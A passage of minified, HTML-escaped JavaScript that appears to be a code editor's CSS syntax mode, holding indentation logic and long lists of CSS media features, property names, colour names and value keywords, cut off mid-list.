state.state=states[state.state](type,stream,state);return override},indent:function(state,textAfter){var cx=state.context,ch=textAfter&amp;&amp;textAfter.charAt(0);var indent=cx.indent;if(cx.type==&quot;prop&quot;&amp;&amp;(ch==&quot;}&quot;||ch==&quot;)&quot;))cx=cx.prev;if(cx.prev){if(ch==&quot;}&quot;&amp;&amp;(cx.type==&quot;block&quot;||cx.type==&quot;top&quot;||cx.type==&quot;interpolation&quot;||cx.type==&quot;restricted_atBlock&quot;)){cx=cx.prev;indent=cx.indent}else if(ch==&quot;)&quot;&amp;&amp;(cx.type==&quot;parens&quot;||cx.type==&quot;atBlock_parens&quot;)||ch==&quot;{&quot;&amp;&amp;(cx.type==&quot;at&quot;||cx.type==&quot;atBlock&quot;)){indent=Math.max(0,cx.indent-indentUnit)}}
return indent},electricChars:&quot;}&quot;,blockCommentStart:&quot;/*&quot;,blockCommentEnd:&quot;*/&quot;,blockCommentContinue:&quot; * &quot;,lineComment:lineComment,fold:&quot;brace&quot;}});function keySet(array){var keys={};for(var i=0;i&lt;array.length;++i){keys[array[i].toLowerCase()]=!0}
return keys}
var documentTypes_=[&quot;domain&quot;,&quot;regexp&quot;,&quot;url&quot;,&quot;url-prefix&quot;],documentTypes=keySet(documentTypes_);var mediaTypes_=[&quot;all&quot;,&quot;aural&quot;,&quot;braille&quot;,&quot;handheld&quot;,&quot;print&quot;,&quot;projection&quot;,&quot;screen&quot;,&quot;tty&quot;,&quot;tv&quot;,&quot;embossed&quot;],mediaTypes=keySet(mediaTypes_);var mediaFeatures_=[&quot;width&quot;,&quot;min-width&quot;,&quot;max-width&quot;,&quot;height&quot;,&quot;min-height&quot;,&quot;max-height&quot;,&quot;device-width&quot;,&quot;min-device-width&quot;,&quot;max-device-width&quot;,&quot;device-height&quot;,&quot;min-device-height&quot;,&quot;max-device-height&quot;,&quot;aspect-ratio&quot;,&quot;min-aspect-ratio&quot;,&quot;max-aspect-ratio&quot;,&quot;device-aspect-ratio&quot;,&quot;min-device-aspect-ratio&quot;,&quot;max-device-aspect-ratio&quot;,&quot;color&quot;,&quot;min-color&quot;,&quot;max-color&quot;,&quot;color-index&quot;,&quot;min-color-index&quot;,&quot;max-color-index&quot;,&quot;monochrome&quot;,&quot;min-monochrome&quot;,&quot;max-monochrome&quot;,&quot;resolution&quot;,&quot;min-resolution&quot;,&quot;max-resolution&quot;,&quot;scan&quot;,&quot;grid&quot;,&quot;orientation&quot;,&quot;device-pixel-ratio&quot;,&quot;min-device-pixel-ratio&quot;,&quot;max-device-pixel-ratio&quot;,&quot;pointer&quot;,&quot;any-pointer&quot;,&quot;hover&quot;,&quot;any-hover&quot;,&quot;prefers-color-scheme&quot;],mediaFeatures=keySet(mediaFeatures_);var mediaValueKeywords_=[&quot;landscape&quot;,&quot;portrait&quot;,&quot;none&quot;,&quot;coarse&quot;,&quot;fine&quot;,&quot;on-demand&quot;,&quot;hover&quot;,&quot;interlace&quot;,&quot;progressive&quot;,&quot;dark&quot;,&quot;light&quot;],mediaValueKeywords=keySet(mediaValueKeywords_);var propertyKeywords_=[&quot;align-content&quot;,&quot;align-items&quot;,&quot;align-self&quot;,&quot;alignment-adjust&quot;,&quot;alignment-baseline&quot;,&quot;all&quot;,&quot;anchor-point&quot;,&quot;animation&quot;,&quot;animation-delay&quot;,&quot;animation-direction&quot;,&quot;animation-duration&quot;,&quot;animation-fill-mode&quot;,&quot;animation-iteration-count&quot;,&quot;animation-name&quot;,&quot;animation-play-state&quot;,&quot;animation-timing-function&quot;,&quot;appearance&quot;,&quot;azimuth&quot;,&quot;backdrop-filter&quot;,&quot;backface-visibility&quot;,&quot;background&quot;,&quot;background-attachment&quot;,&quot;background-blend-mode&quot;,&quot;background-clip&quot;,&quot;background-color&quot;,&quot;background-image&quot;,&quot;background-origin&quot;,&quot;background-position&quot;,&quot;background-position-x&quot;,&quot;background-position-y&quot;,&quot;background-repeat&quot;,&quot;background-size&quot;,&quot;baseline-shift&quot;,&quot;binding&quot;,&quot;bleed&quot;,&quot;block-size&quot;,&quot;bookmark-label&quot;,&quot;bookmark-level&quot;,&quot;bookmark-state&quot;,&quot;bookmark-target&quot;,&quot;border&quot;,&quot;border-bottom&quot;,&quot;border-bottom-color&quot;,&quot;border-bottom-left-radius&quot;,&quot;border-bottom-right-radius&quot;,&quot;border-bottom-style&quot;,&quot;border-bottom-width&quot;,&quot;border-collapse&quot;,&quot;border-color&quot;,&quot;border-image&quot;,&quot;border-image-outset&quot;,&quot;border-image-repeat&quot;,&quot;border-image-slice&quot;,&quot;border-image-source&quot;,&quot;border-image-width&quot;,&quot;border-left&quot;,&quot;border-left-color&quot;,&quot;border-left-style&quot;,&quot;border-left-width&quot;,&quot;border-radius&quot;,&quot;border-right&quot;,&quot;border-right-color&quot;,&quot;border-right-style&quot;,&quot;border-right-width&quot;,&quot;border-spacing&quot;,&quot;border-style&quot;,&quot;border-top&quot;,&quot;border-top-color&quot;,&quot;border-top-left-radius&quot;,&quot;border-top-right-radius&quot;,&quot;border-top-style&quot;,&quot;border-top-width&quot;,&quot;border-width&quot;,&quot;bottom&quot;,&quot;box-decoration-break&quot;,&quot;box-shadow&quot;,&quot;box-sizing&quot;,&quot;break-after&quot;,&quot;break-before&quot;,&quot;break-inside&quot;,&quot;caption-side&quot;,&quot;caret-color&quot;,&quot;clear&quot;,&quot;clip&quot;,&quot;color&quot;,&quot;color-profile&quot;,&quot;column-count&quot;,&quot;column-fill&quot;,&quot;column-gap&quot;,&quot;column-rule&quot;,&quot;column-rule-color&quot;,&quot;column-rule-style&quot;,&quot;column-rule-width&quot;,&quot;column-span&quot;,&quot;column-width&quot;,&quot;columns&quot;,&quot;contain&quot;,&quot;content&quot;,&quot;counter-increment&quot;,&quot;counter-reset&quot;,&quot;crop&quot;,&quot;cue&quot;,&quot;cue-after&quot;,&quot;cue-before&quot;,&quot;cursor&quot;,&quot;direction&quot;,&quot;display&quot;,&quot;dominant-baseline&quot;,&quot;drop-initial-after-adjust&quot;,&quot;drop-initial-after-align&quot;,&quot;drop-initial-before-adjust&quot;,&quot;drop-initial-before-align&quot;,&quot;drop-initial-size&quot;,&quot;drop-initial-value&quot;,&quot;elevation&quot;,&quot;empty-cells&quot;,&quot;fit&quot;,&quot;fit-position&quot;,&quot;flex&quot;,&quot;flex-basis&quot;,&quot;flex-direction&quot;,&quot;flex-flow&quot;,&quot;flex-grow&quot;,&quot;flex-shrink&quot;,&quot;flex-wrap&quot;,&quot;float&quot;,&quot;float-offset&quot;,&quot;flow-from&quot;,&quot;flow-into&quot;,&quot;font&quot;,&quot;font-family&quot;,&quot;font-feature-settings&quot;,&quot;font-kerning&quot;,&quot;font-language-override&quot;,&quot;font-optical-sizing&quot;,&quot;font-size&quot;,&quot;font-size-adjust&quot;,&quot;font-stretch&quot;,&quot;font-style&quot;,&quot;font-synthesis&quot;,&quot;font-variant&quot;,&quot;font-variant-alternates&quot;,&quot;font-variant-caps&quot;,&quot;font-variant-east-asian&quot;,&quot;font-variant-ligatures&quot;,&quot;font-variant-numeric&quot;,&quot;font-variant-position&quot;,&quot;font-variation-settings&quot;,&quot;font-weight&quot;,&quot;gap&quot;,&quot;grid&quot;,&quot;grid-area&quot;,&quot;grid-auto-columns&quot;,&quot;grid-auto-flow&quot;,&quot;grid-auto-rows&quot;,&quot;grid-column&quot;,&quot;grid-column-end&quot;,&quot;grid-column-gap&quot;,&quot;grid-column-start&quot;,&quot;grid-gap&quot;,&quot;grid-row&quot;,&quot;grid-row-end&quot;,&quot;grid-row-gap&quot;,&quot;grid-row-start&quot;,&quot;grid-template&quot;,&quot;grid-template-areas&quot;,&quot;grid-template-columns&quot;,&quot;grid-template-rows&quot;,&quot;hanging-punctuation&quot;,&quot;height&quot;,&quot;hyphens&quot;,&quot;icon&quot;,&quot;image-orientation&quot;,&quot;image-rendering&quot;,&quot;image-resolution&quot;,&quot;inline-box-align&quot;,&quot;inset&quot;,&quot;inset-block&quot;,&quot;inset-block-end&quot;,&quot;inset-block-start&quot;,&quot;inset-inline&quot;,&quot;inset-inline-end&quot;,&quot;inset-inline-start&quot;,&quot;isolation&quot;,&quot;justify-content&quot;,&quot;justify-items&quot;,&quot;justify-self&quot;,&quot;left&quot;,&quot;letter-spacing&quot;,&quot;line-break&quot;,&quot;line-height&quot;,&quot;line-height-step&quot;,&quot;line-stacking&quot;,&quot;line-stacking-ruby&quot;,&quot;line-stacking-shift&quot;,&quot;line-stacking-strategy&quot;,&quot;list-style&quot;,&quot;list-style-image&quot;,&quot;list-style-position&quot;,&quot;list-style-type&quot;,&quot;margin&quot;,&quot;margin-bottom&quot;,&quot;margin-left&quot;,&quot;margin-right&quot;,&quot;margin-top&quot;,&quot;marks&quot;,&quot;marquee-direction&quot;,&quot;marquee-loop&quot;,&quot;marquee-play-count&quot;,&quot;marquee-speed&quot;,&quot;marquee-style&quot;,&quot;mask-clip&quot;,&quot;mask-composite&quot;,&quot;mask-image&quot;,&quot;mask-mode&quot;,&quot;mask-origin&quot;,&quot;mask-position&quot;,&quot;mask-repeat&quot;,&quot;mask-size&quot;,&quot;mask-type&quot;,&quot;max-block-size&quot;,&quot;max-height&quot;,&quot;max-inline-size&quot;,&quot;max-width&quot;,&quot;min-block-size&quot;,&quot;min-height&quot;,&quot;min-inline-size&quot;,&quot;min-width&quot;,&quot;mix-blend-mode&quot;,&quot;move-to&quot;,&quot;nav-down&quot;,&quot;nav-index&quot;,&quot;nav-left&quot;,&quot;nav-right&quot;,&quot;nav-up&quot;,&quot;object-fit&quot;,&quot;object-position&quot;,&quot;offset&quot;,&quot;offset-anchor&quot;,&quot;offset-distance&quot;,&quot;offset-path&quot;,&quot;offset-position&quot;,&quot;offset-rotate&quot;,&quot;opacity&quot;,&quot;order&quot;,&quot;orphans&quot;,&quot;outline&quot;,&quot;outline-color&quot;,&quot;outline-offset&quot;,&quot;outline-style&quot;,&quot;outline-width&quot;,&quot;overflow&quot;,&quot;overflow-style&quot;,&quot;overflow-wrap&quot;,&quot;overflow-x&quot;,&quot;overflow-y&quot;,&quot;padding&quot;,&quot;padding-bottom&quot;,&quot;padding-left&quot;,&quot;padding-right&quot;,&quot;padding-top&quot;,&quot;page&quot;,&quot;page-break-after&quot;,&quot;page-break-before&quot;,&quot;page-break-inside&quot;,&quot;page-policy&quot;,&quot;pause&quot;,&quot;pause-after&quot;,&quot;pause-before&quot;,&quot;perspective&quot;,&quot;perspective-origin&quot;,&quot;pitch&quot;,&quot;pitch-range&quot;,&quot;place-content&quot;,&quot;place-items&quot;,&quot;place-self&quot;,&quot;play-during&quot;,&quot;position&quot;,&quot;presentation-level&quot;,&quot;punctuation-trim&quot;,&quot;quotes&quot;,&quot;region-break-after&quot;,&quot;region-break-before&quot;,&quot;region-break-inside&quot;,&quot;region-fragment&quot;,&quot;rendering-intent&quot;,&quot;resize&quot;,&quot;rest&quot;,&quot;rest-after&quot;,&quot;rest-before&quot;,&quot;richness&quot;,&quot;right&quot;,&quot;rotate&quot;,&quot;rotation&quot;,&quot;rotation-point&quot;,&quot;row-gap&quot;,&quot;ruby-align&quot;,&quot;ruby-overhang&quot;,&quot;ruby-position&quot;,&quot;ruby-span&quot;,&quot;scale&quot;,&quot;scroll-behavior&quot;,&quot;scroll-margin&quot;,&quot;scroll-margin-block&quot;,&quot;scroll-margin-block-end&quot;,&quot;scroll-margin-block-start&quot;,&quot;scroll-margin-bottom&quot;,&quot;scroll-margin-inline&quot;,&quot;scroll-margin-inline-end&quot;,&quot;scroll-margin-inline-start&quot;,&quot;scroll-margin-left&quot;,&quot;scroll-margin-right&quot;,&quot;scroll-margin-top&quot;,&quot;scroll-padding&quot;,&quot;scroll-padding-block&quot;,&quot;scroll-padding-block-end&quot;,&quot;scroll-padding-block-start&quot;,&quot;scroll-padding-bottom&quot;,&quot;scroll-padding-inline&quot;,&quot;scroll-padding-inline-end&quot;,&quot;scroll-padding-inline-start&quot;,&quot;scroll-padding-left&quot;,&quot;scroll-padding-right&quot;,&quot;scroll-padding-top&quot;,&quot;scroll-snap-align&quot;,&quot;scroll-snap-type&quot;,&quot;shape-image-threshold&quot;,&quot;shape-inside&quot;,&quot;shape-margin&quot;,&quot;shape-outside&quot;,&quot;size&quot;,&quot;speak&quot;,&quot;speak-as&quot;,&quot;speak-header&quot;,&quot;speak-numeral&quot;,&quot;speak-punctuation&quot;,&quot;speech-rate&quot;,&quot;stress&quot;,&quot;string-set&quot;,&quot;tab-size&quot;,&quot;table-layout&quot;,&quot;target&quot;,&quot;target-name&quot;,&quot;target-new&quot;,&quot;target-position&quot;,&quot;text-align&quot;,&quot;text-align-last&quot;,&quot;text-combine-upright&quot;,&quot;text-decoration&quot;,&quot;text-decoration-color&quot;,&quot;text-decoration-line&quot;,&quot;text-decoration-skip&quot;,&quot;text-decoration-skip-ink&quot;,&quot;text-decoration-style&quot;,&quot;text-emphasis&quot;,&quot;text-emphasis-color&quot;,&quot;text-emphasis-position&quot;,&quot;text-emphasis-style&quot;,&quot;text-height&quot;,&quot;text-indent&quot;,&quot;text-justify&quot;,&quot;text-orientation&quot;,&quot;text-outline&quot;,&quot;text-overflow&quot;,&quot;text-rendering&quot;,&quot;text-shadow&quot;,&quot;text-size-adjust&quot;,&quot;text-space-collapse&quot;,&quot;text-transform&quot;,&quot;text-underline-position&quot;,&quot;text-wrap&quot;,&quot;top&quot;,&quot;touch-action&quot;,&quot;transform&quot;,&quot;transform-origin&quot;,&quot;transform-style&quot;,&quot;transition&quot;,&quot;transition-delay&quot;,&quot;transition-duration&quot;,&quot;transition-property&quot;,&quot;transition-timing-function&quot;,&quot;translate&quot;,&quot;unicode-bidi&quot;,&quot;user-select&quot;,&quot;vertical-align&quot;,&quot;visibility&quot;,&quot;voice-balance&quot;,&quot;voice-duration&quot;,&quot;voice-family&quot;,&quot;voice-pitch&quot;,&quot;voice-range&quot;,&quot;voice-rate&quot;,&quot;voice-stress&quot;,&quot;voice-volume&quot;,&quot;volume&quot;,&quot;white-space&quot;,&quot;widows&quot;,&quot;width&quot;,&quot;will-change&quot;,&quot;word-break&quot;,&quot;word-spacing&quot;,&quot;word-wrap&quot;,&quot;writing-mode&quot;,&quot;z-index&quot;,&quot;clip-path&quot;,&quot;clip-rule&quot;,&quot;mask&quot;,&quot;enable-background&quot;,&quot;filter&quot;,&quot;flood-color&quot;,&quot;flood-opacity&quot;,&quot;lighting-color&quot;,&quot;stop-color&quot;,&quot;stop-opacity&quot;,&quot;pointer-events&quot;,&quot;color-interpolation&quot;,&quot;color-interpolation-filters&quot;,&quot;color-rendering&quot;,&quot;fill&quot;,&quot;fill-opacity&quot;,&quot;fill-rule&quot;,&quot;image-rendering&quot;,&quot;marker&quot;,&quot;marker-end&quot;,&quot;marker-mid&quot;,&quot;marker-start&quot;,&quot;paint-order&quot;,&quot;shape-rendering&quot;,&quot;stroke&quot;,&quot;stroke-dasharray&quot;,&quot;stroke-dashoffset&quot;,&quot;stroke-linecap&quot;,&quot;stroke-linejoin&quot;,&quot;stroke-miterlimit&quot;,&quot;stroke-opacity&quot;,&quot;stroke-width&quot;,&quot;text-rendering&quot;,&quot;baseline-shift&quot;,&quot;dominant-baseline&quot;,&quot;glyph-orientation-horizontal&quot;,&quot;glyph-orientation-vertical&quot;,&quot;text-anchor&quot;,&quot;writing-mode&quot;,],propertyKeywords=keySet(propertyKeywords_);var nonStandardPropertyKeywords_=[&quot;border-block&quot;,&quot;border-block-color&quot;,&quot;border-block-end&quot;,&quot;border-block-end-color&quot;,&quot;border-block-end-style&quot;,&quot;border-block-end-width&quot;,&quot;border-block-start&quot;,&quot;border-block-start-color&quot;,&quot;border-block-start-style&quot;,&quot;border-block-start-width&quot;,&quot;border-block-style&quot;,&quot;border-block-width&quot;,&quot;border-inline&quot;,&quot;border-inline-color&quot;,&quot;border-inline-end&quot;,&quot;border-inline-end-color&quot;,&quot;border-inline-end-style&quot;,&quot;border-inline-end-width&quot;,&quot;border-inline-start&quot;,&quot;border-inline-start-color&quot;,&quot;border-inline-start-style&quot;,&quot;border-inline-start-width&quot;,&quot;border-inline-style&quot;,&quot;border-inline-width&quot;,&quot;margin-block&quot;,&quot;margin-block-end&quot;,&quot;margin-block-start&quot;,&quot;margin-inline&quot;,&quot;margin-inline-end&quot;,&quot;margin-inline-start&quot;,&quot;padding-block&quot;,&quot;padding-block-end&quot;,&quot;padding-block-start&quot;,&quot;padding-inline&quot;,&quot;padding-inline-end&quot;,&quot;padding-inline-start&quot;,&quot;scroll-snap-stop&quot;,&quot;scrollbar-3d-light-color&quot;,&quot;scrollbar-arrow-color&quot;,&quot;scrollbar-base-color&quot;,&quot;scrollbar-dark-shadow-color&quot;,&quot;scrollbar-face-color&quot;,&quot;scrollbar-highlight-color&quot;,&quot;scrollbar-shadow-color&quot;,&quot;scrollbar-track-color&quot;,&quot;searchfield-cancel-button&quot;,&quot;searchfield-decoration&quot;,&quot;searchfield-results-button&quot;,&quot;searchfield-results-decoration&quot;,&quot;shape-inside&quot;,&quot;zoom&quot;],nonStandardPropertyKeywords=keySet(nonStandardPropertyKeywords_);var fontProperties_=[&quot;font-display&quot;,&quot;font-family&quot;,&quot;src&quot;,&quot;unicode-range&quot;,&quot;font-variant&quot;,&quot;font-feature-settings&quot;,&quot;font-stretch&quot;,&quot;font-weight&quot;,&quot;font-style&quot;],fontProperties=keySet(fontProperties_);var counterDescriptors_=[&quot;additive-symbols&quot;,&quot;fallback&quot;,&quot;negative&quot;,&quot;pad&quot;,&quot;prefix&quot;,&quot;range&quot;,&quot;speak-as&quot;,&quot;suffix&quot;,&quot;symbols&quot;,&quot;system&quot;],counterDescriptors=keySet(counterDescriptors_);var colorKeywords_=[&quot;aliceblue&quot;,&quot;antiquewhite&quot;,&quot;aqua&quot;,&quot;aquamarine&quot;,&quot;azure&quot;,&quot;beige&quot;,&quot;bisque&quot;,&quot;black&quot;,&quot;blanchedalmond&quot;,&quot;blue&quot;,&quot;blueviolet&quot;,&quot;brown&quot;,&quot;burlywood&quot;,&quot;cadetblue&quot;,&quot;chartreuse&quot;,&quot;chocolate&quot;,&quot;coral&quot;,&quot;cornflowerblue&quot;,&quot;cornsilk&quot;,&quot;crimson&quot;,&quot;cyan&quot;,&quot;darkblue&quot;,&quot;darkcyan&quot;,&quot;darkgoldenrod&quot;,&quot;darkgray&quot;,&quot;darkgreen&quot;,&quot;darkkhaki&quot;,&quot;darkmagenta&quot;,&quot;darkolivegreen&quot;,&quot;darkorange&quot;,&quot;darkorchid&quot;,&quot;darkred&quot;,&quot;darksalmon&quot;,&quot;darkseagreen&quot;,&quot;darkslateblue&quot;,&quot;darkslategray&quot;,&quot;darkturquoise&quot;,&quot;darkviolet&quot;,&quot;deeppink&quot;,&quot;deepskyblue&quot;,&quot;dimgray&quot;,&quot;dodgerblue&quot;,&quot;firebrick&quot;,&quot;floralwhite&quot;,&quot;forestgreen&quot;,&quot;fuchsia&quot;,&quot;gainsboro&quot;,&quot;ghostwhite&quot;,&quot;gold&quot;,&quot;goldenrod&quot;,&quot;gray&quot;,&quot;grey&quot;,&quot;green&quot;,&quot;greenyellow&quot;,&quot;honeydew&quot;,&quot;hotpink&quot;,&quot;indianred&quot;,&quot;indigo&quot;,&quot;ivory&quot;,&quot;khaki&quot;,&quot;lavender&quot;,&quot;lavenderblush&quot;,&quot;lawngreen&quot;,&quot;lemonchiffon&quot;,&quot;lightblue&quot;,&quot;lightcoral&quot;,&quot;lightcyan&quot;,&quot;lightgoldenrodyellow&quot;,&quot;lightgray&quot;,&quot;lightgreen&quot;,&quot;lightpink&quot;,&quot;lightsalmon&quot;,&quot;lightseagreen&quot;,&quot;lightskyblue&quot;,&quot;lightslategray&quot;,&quot;lightsteelblue&quot;,&quot;lightyellow&quot;,&quot;lime&quot;,&quot;limegreen&quot;,&quot;linen&quot;,&quot;magenta&quot;,&quot;maroon&quot;,&quot;mediumaquamarine&quot;,&quot;mediumblue&quot;,&quot;mediumorchid&quot;,&quot;mediumpurple&quot;,&quot;mediumseagreen&quot;,&quot;mediumslateblue&quot;,&quot;mediumspringgreen&quot;,&quot;mediumturquoise&quot;,&quot;mediumvioletred&quot;,&quot;midnightblue&quot;,&quot;mintcream&quot;,&quot;mistyrose&quot;,&quot;moccasin&quot;,&quot;navajowhite&quot;,&quot;navy&quot;,&quot;oldlace&quot;,&quot;olive&quot;,&quot;olivedrab&quot;,&quot;orange&quot;,&quot;orangered&quot;,&quot;orchid&quot;,&quot;palegoldenrod&quot;,&quot;palegreen&quot;,&quot;paleturquoise&quot;,&quot;palevioletred&quot;,&quot;papayawhip&quot;,&quot;peachpuff&quot;,&quot;peru&quot;,&quot;pink&quot;,&quot;plum&quot;,&quot;powderblue&quot;,&quot;purple&quot;,&quot;rebeccapurple&quot;,&quot;red&quot;,&quot;rosybrown&quot;,&quot;royalblue&quot;,&quot;saddlebrown&quot;,&quot;salmon&quot;,&quot;sandybrown&quot;,&quot;seagreen&quot;,&quot;seashell&quot;,&quot;sienna&quot;,&quot;silver&quot;,&quot;skyblue&quot;,&quot;slateblue&quot;,&quot;slategray&quot;,&quot;snow&quot;,&quot;springgreen&quot;,&quot;steelblue&quot;,&quot;tan&quot;,&quot;teal&quot;,&quot;thistle&quot;,&quot;tomato&quot;,&quot;turquoise&quot;,&quot;violet&quot;,&quot;wheat&quot;,&quot;white&quot;,&quot;whitesmoke&quot;,&quot;yellow&quot;,&quot;yellowgreen&quot;],colorKeywords=keySet(colorKeywords_);var valueKeywords_=[&quot;above&quot;,&quot;absolute&quot;,&quot;activeborder&quot;,&quot;additive&quot;,&quot;activecaption&quot;,&quot;afar&quot;,&quot;after-white-space&quot;,&quot;ahead&quot;,&quot;alias&quot;,&quot;all&quot;,&quot;all-scroll&quot;,&quot;alphabetic&quot;,&quot;alternate&quot;,&quot;always&quot;,&quot;amharic&quot;,&quot;amharic-abegede&quot;,&quot;antialiased&quot;,&quot;appworkspace&quot;,&quot;arabic-indic&quot;,&quot;armenian&quot;,&quot;asterisks&quot;,&quot;attr&quot;,&quot;auto&quot;,&quot;auto-flow&quot;,&quot;avoid&quot;,&quot;avoid-column&quot;,&quot;avoid-page&quot;,&quot;avoid-region&quot;,&quot;axis-pan&quot;,&quot;background&quot;,&quot;backwards&quot;,&quot;baseline&quot;,&quot;below&quot;,&quot;bidi-override&quot;,&quot;binary&quot;,&quot;bengali&quot;,&quot;blink&quot;,&quot;block&quot;,&quot;block-axis&quot;,&quot;bold&quot;,&quot;bolder&quot;,&quot;border&quot;,&quot;border-box&quot;,&quot;both&quot;,&quot;bottom&quot;,&quot;break&quot;,&quot;break-all&quot;,&quot;break-word&quot;,&quot;bullets&quot;,&quot;button&quot;,&quot;button-bevel&quot;,&quot;buttonface&quot;,&quot;buttonhighlight&quot;,&quot;buttonshadow&quot;,&quot;buttontext&quot;,&quot;calc&quot;,&quot;cambodian&quot;,&quot;capitalize&quot;,&quot;caps-lock-indicator&quot;,&quot;caption&quot;,&quot;captiontext&quot;,&quot;caret&quot;,&quot;cell&quot;,&quot;center&quot;,&quot;checkbox&quot;,&quot;circle&quot;,&quot;cjk-decimal&quot;,&quot;cjk-earthly-branch&quot;,&quot;cjk-heavenly-stem&quot;,&quot;cjk-ideographic&quot;,&quot;clear&quot;,&quot;clip&quot;,&quot;close-quote&quot;,&quot;col-resize&quot;,&quot;collapse&quot;,&quot;color&quot;,&quot;color-burn&quot;,&quot;color-dodge&quot;,&quot;column&quot;,&quot;column-reverse&quot;,&quot;compact&quot;,&quot;condensed&quot;,&quot;contain&quot;,&quot;content&quot;,&quot;contents&quot;,&quot;content-box&quot;,&quot;context-menu&quot;,&quot;continuous&quot;,&quot;copy&quot;,&quot;counter&quot;,&quot;counters&quot;,&quot;cover&quot;,&quot;crop&quot;,&quot;cross&quot;,&quot;crosshair&quot;,&quot;currentcolor&quot;,&quot;cursive&quot;,&quot;cyclic&quot;,&quot;darken&quot;,&quot;dashed&quot;,&quot;decimal&quot;,&quot;decimal-leading-zero&quot;,&quot;default&quot;,&quot;default-button&quot;,&quot;dense&quot;,&quot;destination-atop&quot;,&quot;destination-in&quot;,&quot;destination-out&quot;,&quot;destination-over&quot;,&quot;devanagari&quot;,&quot;difference&quot;,&quot;disc&quot;,&quot;discard&quot;,&quot;disclosure-closed&quot;,&quot;disclosure-open&quot;,&quot;document&quot;,&quot;dot-dash&quot;,&quot;dot-dot-dash&quot;,&quot;dotted&quot;,&quot;double&quot;,&quot;down&quot;,&quot;e-resize&quot;,&quot;ease&quot;,&quot;ease-in&quot;,&quot;ease-in-out&quot;,&quot;ease-out&quot;,&quot;element&quot;,&quot;ellipse&quot;,&quot;ellipsis&quot;,&quot;embed&quot;,&quot;end&quot;,&quot;ethiopic&quot;,&quot;ethiopic-abegede&quot;,&quot;ethiopic-abegede-am-et&quot;,&quot;ethiopic-abegede-gez&quot;,&quot;ethiopic-abegede-ti-er&quot;,&quot;ethiopic-abegede-ti-et&quot;,&quot;ethiopic-halehame-aa-er&quot;,&quot;ethiopic-halehame-aa-et&quot;,&quot;ethiopic-halehame-am-et&quot;,&quot;ethiopic-halehame-gez&quot;,&quot;ethiopic-halehame-om-et&quot;,&quot;ethiopic-halehame-sid-et&quot;,&quot;ethiopic-halehame-so-et&quot;,&quot;ethiopic-halehame-ti-er&quot;,&quot;ethiopic-halehame-ti-et&quot;,&quot;ethiopic-halehame-tig&quot;,&quot;ethiopic-numeric&quot;,&quot;ew-resize&quot;,&quot;exclusion&quot;,&quot;expanded&quot;,&quot;extends&quot;,&quot;extra-condensed&quot;,&quot;extra-expanded&quot;,&quot;fantasy&quot;,&quot;fast&quot;,&quot;fill&quot;,&quot;fill-box&quot;,&quot;fixed&quot;,&quot;flat&quot;,&quot;flex&quot;,&quot;flex-end&quot;,&quot;flex-start&quot;,&quot;footnotes&quot;,&quot;forwards&quot;,&quot;from&quot;,&quot;geometricPrecision&quot;,&quot;georgian&quot;,&quot;graytext&quot;,&quot;grid&quot;,&quot;groove&quot;,&quot;gujarati&quot;,&quot;gurmukhi&quot;,&quot;hand&quot;,&quot;hangul&quot;,&quot;hangul-consonant&quot;,&quot;hard-light&quot;,&quot;hebrew&quot;,&quot;help&quot;,&quot;hidden&quot;,&quot;hide&quot;,&quot;higher&quot;,&quot;highlight&quot;,&quot;highlighttext&quot;,&quot;hiragana&quot;,&quot;hiragana-iroha&quot;,&quot;horizontal&quot;,&quot;hsl&quot;,&quot;hsla&quot;,&quot;hue&quot;,&quot;icon&quot;,&quot;ignore&quot;,&quot;inactiveborder&quot;,&quot;inactivecaption&quot;,&quot;inactivecaptiontext&quot;,&quot;infinite&quot;,&quot;infobackground&quot;,&quot;infotext&quot;,&quot;inherit&quot;,&quot;initial&quot;,&quot;inline&quot;,&quot;inline-axis&quot;,&quot;inline-block&quot;,&quot;inline-flex&quot;,&quot;inline-grid&quot;,&quot;inline-table&quot;,&quot;inset&quot;,&quot;inside&quot;,&quot;intrinsic&quot;,&quot;invert&quot;,&quot;italic&quot;,&quot;japanese-formal&quot;,&quot;japanese-informal&quot;,&quot;justify&quot;,&quot;kannada&quot;,&quot;katakana&quot;,&quot;katakana-iroha&quot;,&quot;keep-all&quot;,&quot;khmer&quot;,&quot;korean-hangul-formal&quot;,&quot;korean-hanja-formal&quot;,&quot;korean-hanja-informal&quot;,&quot;landscape&quot;,&quot;lao&quot;,&quot;large&quot;,&quot;larger&quot;,&quot;left&quot;,&quot;level&quot;,&quot;lighter&quot;,&quot;lighten&quot;,&quot;line-through&quot;,&quot;linear&quot;,&quot;linear-gradient&quot;,&quot;lines&quot;,&quot;list-item&quot;,&quot;listbox&quot;,&quot;listitem&quot;,&quot;local&quot;,&quot;logical&quot;,&quot;loud&quot;,&quot;lower&quot;,&quot;lower-alpha&quot;,&quot;lower-armenian&quot;,&quot;lower-greek&quot;,&quot;lower-hexadecimal&quot;,&quot;lower-latin&quot;,&quot;lower-norwegian&quot;,&quot;lower-roman&quot;,&quot;lowercase&quot;,&quot;ltr&quot;,&quot;luminosity&quot;,&quot;malayalam&quot;,&quot;manipulation&quot;,&quot;match&quot;,&quot;matrix&quot;,&quot;matrix3d&quot;,&quot;media-controls-background&quot;,&quot;media-current-time-display&quot;,&quot;media-fullscreen-button&quot;,&quot;media-mute-button&quot;,&quot;media-play-button&quot;,&quot;media-return-to-realtime-button&quot;,&quot;media-rewind-button&quot;,&quot;media-seek-back-button&quot;,&quot;media-seek-forward-button&quot;,&quot;media-slider&quot;,&quot;media-sliderthumb&quot;,&quot;media-time-remaining-display&quot;,&quot;media-volume-slider&quot;,&quot;media-volume-slider-container&quot;,&quot;media-volume-sliderthumb&quot;,&quot;medium&quot;,&quot;menu&quot;,&quot;menulist&quot;,&quot;menulist-button&quot;,&quot;menulist-text&quot;,&quot;menulist-textfield&quot;,&quot;menutext&quot;,&quot;message-box&quot;,&quot;middle&quot;,&quot;min-intrinsic&quot;,&quot;mix&quot;,&quot;mongolian&quot;,&quot;monospace&quot;,&quot;move&quot;,&quot;multiple&quot;,&quot;multiple_mask_images&quot;,&quot;multiply&quot;,&quot;myanmar&quot;,&quot;n-resize&quot;,&quot;narrower&quot;,&quot;ne-resize&quot;,&quot;nesw-resize&quot;,&quot;no-close-quote&quot;,&quot;no-drop&quot;,&quot;no-open-quote&quot;,&quot;no-repeat&quot;,&quot;none&quot;,&quot;normal&quot;,&quot;not-allowed&quot;,&quot;nowrap&quot;,&quot;ns-resize&quot;,&quot;numbers&quot;,&quot;numeric&quot;,&quot;nw-resize&quot;,&quot;nwse-resize&quot;,&quot;oblique&quot;,&quot;octal&quot;,&quot;opacity&quot;,&quot;open-quote&quot;,&quot;optimizeLegibility&quot;,&quot;optimizeSpeed&quot;,&q